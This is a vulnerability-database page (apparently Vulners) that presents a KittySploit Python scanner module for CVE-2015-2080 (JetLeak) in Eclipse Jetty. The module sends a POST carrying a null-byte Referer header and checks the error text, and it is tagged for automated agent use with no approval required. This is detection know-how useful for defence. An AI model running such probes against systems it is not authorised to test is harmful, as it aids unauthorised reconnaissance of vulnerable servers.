Eclipse Jetty <9.2.9.v20150224 - Sensitive Information Leakage Detection
| Reporter | Title | Published | Views | Family All 164 |
|---|---|---|---|---|
| Jetty 9.2.8 Shared Buffer Leakage Vulnerability | 3 Mar 201500:00 | – | zdt | |
| Inductive Automation Ignition 7.8.1 - Remote Leakage Of Shared Buffers | 17 Feb 201600:00 | – | zdt | |
| Nanometrics Centaur 4.3.23 - Unauthenticated Remote Memory Leak Exploit | 19 Feb 202000:00 | – | zdt | |
| CVE-2015-2080 | 7 Oct 201614:59 | – | attackerkb | |
| Juniper Networks Releases Security Updates | 12 Apr 201800:00 | – | cisa | |
| Jetty Information Disclosure Vulnerability | 26 Feb 201500:00 | – | cnvd | |
| Eclipse Foundation Jetty Web Server HttpParser Remote Information Disclosure (CVE-2015-2080) | 5 Apr 201500:00 | – | checkpoint_advisories | |
| CVE-2015-2080 | 7 Oct 201614:00 | – | cve | |
| CVE-2015-2080 | 7 Oct 201614:00 | – | cvelist | |
| Exploit for OS Command Injection in Gnu Bash | 27 Jul 202504:21 | – | gitee |
10
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Eclipse Jetty before 9."""
from kittysploit import *
from lib.protocols.http.http_client import Http_client
class Module(Scanner, Http_client):
__info__ = {
'name': 'Eclipse Jetty <9.2.9.v20150224 - Sensitive Information Leakage Detection',
'description': 'Eclipse Jetty before 9.2.9.v20150224 allows remote attackers to obtain sensitive information from process memory via illegal characters in an HTTP header.',
'author': ['KittySploit Team'],
'severity': 'high',
'tags': ['web', 'scanner', 'cve', 'cve2015', 'jetty', 'packetstorm', 'fedoraproject', 'vuln'],
'agent': {
'risk': 'active',
'effects': ['network_probe'],
'expected_requests': 1,
'reversible': True,
'approval_required': False,
'produces': ['tech_hints', 'risk_signals', 'endpoints'],
'cost': 1.0,
'noise': 0.3,
'value': 1.0,
'requires': {
'min_endpoints': 0,
'min_params': 0,
'tech_hints_any': [],
'tech_hints_all': [],
'specializations_any': [],
'risk_signals_any': [],
'auth_session': False,
'capabilities_any': [],
'capabilities_all': [],
'confidence_min': {},
'confidence_min_any': {},
'endpoint_pattern_any': [],
'param_any': [],
'api_surface_ready': False,
},
'chain': {
'produces_capabilities': [
{
'capability': 'admin_surface',
'from_detail': '',
},
],
'consumes_capabilities': [],
'option_bindings': {},
'suggested_followups': [],
},
},
'references': [
'https://github.com/eclipse/jetty.project/blob/jetty-9.2.x/advisories/2015-02-24-httpparser-error-buffer-bleed.md',
'https://blog.gdssecurity.com/labs/2015/2/25/jetleak-vulnerability-remote-leakage-of-shared-buffers-in-je.html',
'http://packetstormsecurity.com/files/130567/Jetty-9.2.8-Shared-Buffer-Leakage.html',
'https://nvd.nist.gov/vuln/detail/CVE-2015-2080',
'http://dev.eclipse.org/mhonarc/lists/jetty-announce/msg00074.html',
],
'cve': 'CVE-2015-2080',
}
def run(self):
path = '/'
r = self.http_request(method='POST', path=path, allow_redirects=False, headers={'Referer': '\\x00'})
if not r or r.status_code != 400:
return False
body = r.text or ""
body_any = ('Illegal character 0x0 in state',)
if any(m in body for m in body_any):
self.set_info(
severity='high',
reason='Eclipse Jetty <9.2.9.v20150224 - Sensitive Information Leakage detected',
path=path,
)
return True
return False
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
28 Jul 2026 11:27Current
7.5High risk
Vulners AI Score7.5
CVSS 25
CVSS 37.5
EPSS0.75441